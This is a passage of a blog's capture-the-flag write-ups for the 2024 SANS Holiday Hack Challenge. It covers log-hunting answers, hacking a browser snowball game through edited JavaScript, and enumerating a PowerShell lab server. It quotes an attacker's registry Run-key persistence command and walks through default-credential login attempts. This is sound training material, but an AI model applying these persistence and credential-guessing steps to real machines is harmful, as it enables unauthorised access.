&lt;td&gt;&lt;code&gt;tar -xf C:\\Windows\\Tasks\\frosty.zip -C C:\\Windows\\Tasks\\&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;New-Item -Path &amp;quot;HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&amp;quot; -Name &amp;quot;MS SQL Writer&amp;quot; -Force &amp;#124; New-ItemProperty -Name &amp;quot;frosty&amp;quot; -Value &amp;quot;C:\Windows\Tasks\sqlwriter.exe&amp;quot; -PropertyType String -Force&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;frosty&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;Question-11&#34;&gt;&lt;a href=&#34;#Question-11&#34; class=&#34;headerlink&#34; title=&#34;Question 11&#34;&gt;&lt;/a&gt;Question 11&lt;/h4&gt;&lt;p&gt;To obtain your FINAL flag use the KQL below with your last answer!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;print&lt;/span&gt; base64_encode_tostring(&lt;span class=&#34;string&#34;&gt;&amp;quot;frosty&amp;quot;&lt;/span&gt;);&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;print_0&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ZnJvc3R5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;ZnJvc3R5&lt;/code&gt;&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act2" />
        <category term="Eve Snowshoes" />
        <category term="Microsoft KC7" />
        <updated>2024-12-02T11:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/12/02/2024-10-Snowball-Showdown/</id>
        <title>Snowball Showdown</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/12/02/2024-10-Snowball-Showdown/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄&lt;/span&gt; ❄ ❄ ❄&lt;br&gt;Wombley has recruited many elves to his side for the great snowball fight we are about to wage. Please help us defeat him by hitting him with more snowballs than he does to us.&lt;/p&gt;
&lt;h2 id=&#34;Silver-trophy&#34;&gt;&lt;a href=&#34;#Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Silver trophy&#34;&gt;&lt;/a&gt;Silver trophy&lt;/h2&gt;&lt;h3 id=&#34;singlePlayer-true&#34;&gt;&lt;a href=&#34;#singlePlayer-true&#34; class=&#34;headerlink&#34; title=&#34;singlePlayer=true&#34;&gt;&lt;/a&gt;&lt;code&gt;singlePlayer=true&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;Remembering the &lt;a href=&#34;https://github.com/LamonatoAndrea/HolidayHackChallenge2023_writeup/tree/main/02%20-%20Snowball%20Fight&#34;&gt;Snowball Fight&lt;/a&gt; challenge from Holiday Hack 2023, I quickly found the &lt;code&gt;singlePlayer = false&lt;/code&gt; parameter in the url and changed it to &lt;code&gt;singlePlayer = true&lt;/code&gt;. That allowed to play solo against Wombley.&lt;/p&gt;
&lt;h3 id=&#34;The-lame-solution&#34;&gt;&lt;a href=&#34;#The-lame-solution&#34; class=&#34;headerlink&#34; title=&#34;The lame solution&#34;&gt;&lt;/a&gt;The lame solution&lt;/h3&gt;&lt;p&gt;I forgot tha game open…and somehow when I noticed I already had the silver trophy… I guess my fellow snowballers did manage to beat Wombley :)&lt;/p&gt;
&lt;h3 id=&#34;The-actual-solution&#34;&gt;&lt;a href=&#34;#The-actual-solution&#34; class=&#34;headerlink&#34; title=&#34;The actual solution&#34;&gt;&lt;/a&gt;The actual solution&lt;/h3&gt;&lt;p&gt;Trying to alter parameters in different parts of &lt;a href=&#34;https://hhc24-snowballshowdown.holidayhackchallenge.com/js/phaser-snowball-game.js&#34;&gt;&lt;code&gt;phaser-snowball-game.js&lt;/code&gt;&lt;/a&gt; I wasn’t able to immediately tweak anything relevant aside from setting &lt;code&gt;this.throwRateOfFire = 1;&lt;/code&gt; so to shoot faster. I then started analyzing the websocket messages being exchanged and I eventually noticed the message related to throwing a snowball:&lt;/p&gt;
&lt;figure class=&#34;highlight json&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;snowballp&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;x&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;559&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;y&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;915.7559204101562&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;owner&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;d677f2bc-238b-41ef-9ffb-6c133d30c101&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;isWomb&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;false&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;blastRadius&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;velocityX&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;445.01496716671596&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;velocityY&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;-85.70936374799038&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;That &lt;code&gt;blastRadius&lt;/code&gt; triggered my curiosity so I went ahed and ovverode it in &lt;code&gt;phaser-snowball-game.js&lt;/code&gt; adding some &lt;code&gt;0&lt;/code&gt;s value using developer tools:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-10-Snowball-Showdown/10_01_SnowballShowdown_blastRadius.png&#34;&gt;&lt;br&gt;This trick basically destroyed the scenery, allowing to easily shoot Wombley while remaining in a safe zone and even behind the enemy lines:&lt;/p&gt;
&lt;iframe width=&#34;100%&#34; height=&#34;315&#34; src=&#34;https://www.youtube.com/embed/LHvK-QOd5bY?si=sbGErMqVBsTQwVvo&#34; title=&#34;Snowball Showdown - Silver trophy&#34; frameborder=&#34;0&#34; allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; allowfullscreen&gt;&lt;/iframe&gt;

&lt;h2 id=&#34;Gold-trophy&#34;&gt;&lt;a href=&#34;#Gold-trophy&#34; class=&#34;headerlink&#34; title=&#34;Gold trophy&#34;&gt;&lt;/a&gt;Gold trophy&lt;/h2&gt;&lt;p&gt;While trying to figure out how to achieve the gold trophy, someone dropped a MOASB on my game…and then I knew what I was after 😊&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-10-Snowball-Showdown/10_02_SnowballShowdown_MOASB-min-dwarf.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;Looking for references to “moasb” I could find a function to send the message using ws:&lt;/p&gt;
&lt;figure class=&#34;highlight js&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;variable language_&#34;&gt;this&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;moasb&lt;/span&gt; = &lt;span class=&#34;function&#34;&gt;() =&amp;gt;&lt;/span&gt; &amp;#123; &lt;span class=&#34;variable language_&#34;&gt;this&lt;/span&gt;.&lt;span class=&#34;property&#34;&gt;ws&lt;/span&gt;.&lt;span class=&#34;title function_&#34;&gt;sendMessage&lt;/span&gt;(&amp;#123; &lt;span class=&#34;attr&#34;&gt;type&lt;/span&gt;: &lt;span class=&#34;string&#34;&gt;&amp;#x27;moasb&amp;#x27;&lt;/span&gt; &amp;#125;) &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;At that point I thought “why should I shoot snowball if I can shoot MOASB?” and I modified the &lt;code&gt;phaser-snowball-game.js&lt;/code&gt; again:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-10-Snowball-Showdown/10_03_SnowballShowdown_throwMoasb.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;Dropping a MOASB was a very interesting thing to do:&lt;/p&gt;
&lt;iframe width=&#34;100%&#34; height=&#34;315&#34; src=&#34;https://www.youtube.com/embed/AsrxBEgVZl8?si=5Eq9pweJiA9cWVrF&#34; title=&#34;Snowball Showdown - Gold trophy&#34; frameborder=&#34;0&#34; allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; allowfullscreen&gt;&lt;/iframe&gt;

&lt;h3 id=&#34;What-is-a-MOASB-anyway&#34;&gt;&lt;a href=&#34;#What-is-a-MOASB-anyway&#34; class=&#34;headerlink&#34; title=&#34;What is a MOASB anyway?&#34;&gt;&lt;/a&gt;What is a MOASB anyway?&lt;/h3&gt;&lt;p&gt;I actually didn’t ask myself but I was pleasantly surprised when I spoke to Dusty Giftwrap again and he told me the meaning of MOASB: it’s the &lt;em&gt;&lt;strong&gt;‘mother-of-all-snow-bombs’&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act2" />
        <category term="Snowball Showdown" />
        <category term="Dusty Giftwrap" />
        <updated>2024-12-02T10:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/12/02/2024-09-PowerShell/</id>
        <title>PowerShell</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/12/02/2024-09-PowerShell/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄ ❄ ❄&lt;/span&gt; ❄ ❄&lt;br&gt;Team Wombley is developing snow weapons in preparation for conflict, but they’ve been locked out by their own defenses. Help Piney with regaining access to the weapon operations terminal.&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;PowerShell-Admin-Access-Total-Control&#34;&gt;&lt;a href=&#34;#PowerShell-Admin-Access-Total-Control&#34; class=&#34;headerlink&#34; title=&#34;PowerShell Admin Access - Total Control&#34;&gt;&lt;/a&gt;PowerShell Admin Access - Total Control&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From:&lt;/em&gt;&lt;br&gt;I overheard some of the other elves talking. Even though the endpoints have been redacted, they are still operational. This means that you can probably elevate your access by communicating with them. I suggest working out the hashing scheme to reproduce the redacted endpoints. Luckily one of them is still active and can be tested against. Try hashing the token with SHA256 and see if you can reliably reproduce the endpoint. This might help, pipe the tokens to &lt;code&gt;Get-FileHash -Algorithm SHA256&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;PowerShell-Admin-Access-Fakeout-EDR-Threshold&#34;&gt;&lt;a href=&#34;#PowerShell-Admin-Access-Fakeout-EDR-Threshold&#34; class=&#34;headerlink&#34; title=&#34;PowerShell Admin Access - Fakeout EDR Threshold&#34;&gt;&lt;/a&gt;PowerShell Admin Access - Fakeout EDR Threshold&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From:&lt;/em&gt;&lt;br&gt;They also mentioned this lazy elf who programmed the security settings in the weapons terminal. He created a fakeout protocol that he dubbed Elf Detection and Response “EDR”. The whole system is literally that you set a threshold and after that many attempts, the response is passed through… I can’t believe it. He supposedly implemented it wrong so the threshold cookie is highly likely shared between endpoints!&lt;/p&gt;
&lt;h2 id=&#34;Silver-trophy&#34;&gt;&lt;a href=&#34;#Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Silver trophy&#34;&gt;&lt;/a&gt;Silver trophy&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;There is a file in the current directory called ‘welcome.txt’. Read the contents of this file&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;Get-Content&lt;/span&gt; ./welcome.txt&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;System Overview&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;The Elf Weaponry Multi-Factor Authentication (MFA) system safeguards access to a classified armory containing elf weapons. This high-security system is equipped with advanced defense mechanisms, including canaries, retinal scanner and keystroke analyzing, to prevent unauthorized access. In the event of suspicious activity, the system automatically initiates a lockdown, restricting all access &lt;span class=&#34;keyword&#34;&gt;until&lt;/span&gt; manual override by authorized personnel.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Lockdown Protocols&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;When the system enters lockdown mode, all access to the armory is frozen. This includes both entry to and interaction with the weaponry storage. The defense mechanisms become active, deploying logical barriers to prohibit unauthorized access. During this state, &lt;span class=&#34;built_in&#34;&gt;users&lt;/span&gt; cannot &lt;span class=&#34;built_in&#34;&gt;disable&lt;/span&gt; the system without the intervention of an authorized administrator. The system logs all access attempts and alerts central &lt;span class=&#34;built_in&#34;&gt;command&lt;/span&gt; when lockdown is triggered.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Access and System Restoration&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;To restore access to the system, &lt;span class=&#34;built_in&#34;&gt;users&lt;/span&gt; must follow strict procedures. First, authorized personnel must identify the scrambled endpoint. Next, they must deactivate the defense mechanisms by entering the override code and presenting the required token. After verification, the system will resume standard operation, and access to weaponry is reactivated.&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Geez that sounds ominous, I’m sure we can get past the defense mechanisms.&lt;br/&gt;We should warm up our PowerShell skills.&lt;br/&gt;How many words are there in the file?&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;Get-Content&lt;/span&gt; ./welcome.txt | &lt;span class=&#34;built_in&#34;&gt;Measure-Object&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Word&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Lines Words Characters Property&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;----- ----- ---------- --------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;        180            &lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;netstat &lt;span class=&#34;literal&#34;&gt;-an&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Active Internet connections (servers and established)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Proto Recv-Q Send-Q Local Address           Foreign Address         State      &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;tcp        0      0 127.0.0.1:1225          0.0.0.0:*               LISTEN     &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;tcp6       0      0 172.17.0.6:42026        52.179.73.57:443        ESTABLISHED&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Active UNIX domain sockets (servers and established)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Proto RefCnt Flags       Type       State         I-Node   Path&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;unix  2      [ ACC ]     STREAM     LISTENING     228127385 /tmp/dotnet-diagnostic-632-34546516-socket&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;unix  2      [ ACC ]     STREAM     LISTENING     228126347 /tmp/CoreFxPipe_PSHost.DB3A6E3C.632.None.pwsh&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;unix  2      [ ACC ]     STREAM     LISTENING     228069183 /tmp/tmux-1050/default&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;unix  3      [ ]         STREAM     CONNECTED     228069344 &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;unix  3      [ ]         STREAM     CONNECTED     228070105 /tmp/tmux-1050/default&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get?&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;iwr&lt;/span&gt; http://localhost:&lt;span class=&#34;number&#34;&gt;1225&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Invoke-WebRequest: Response status code does not indicate success: 401 (UNAUTHORIZED).&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ol start=&#34;5&#34;&gt;
&lt;li&gt;It looks like defensive measures are in place, it is protected by basic authentication.&lt;br/&gt;Try authenticating with a standard admin username and password.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&#34;highlight powershell&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;built_in&#34;&gt;Invoke-WebRequest&lt;/span&gt; http://&lt;span class=&#34;number&#34;&gt;127.0&lt;/span&gt;.&lt;span class=&#34;number&#34;&gt;0.1&lt;/span&gt;:&lt;span class=&#34;number&#34;&gt;1225&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Credential&lt;/span&gt; (&lt;span class=&#34;built_in&#34;&gt;New-Object&lt;/span&gt; PSCredential(&lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt;, (&lt;span class=&#34;built_in&#34;&gt;ConvertTo-SecureString&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;admin&amp;quot;&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-AsPlainText&lt;/span&gt; &lt;span class=&#34;literal&#34;&gt;-Force&lt;/span&gt;))) &lt;span class=&#34;literal&#34;&gt;-AllowUnencryptedAuthentication&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
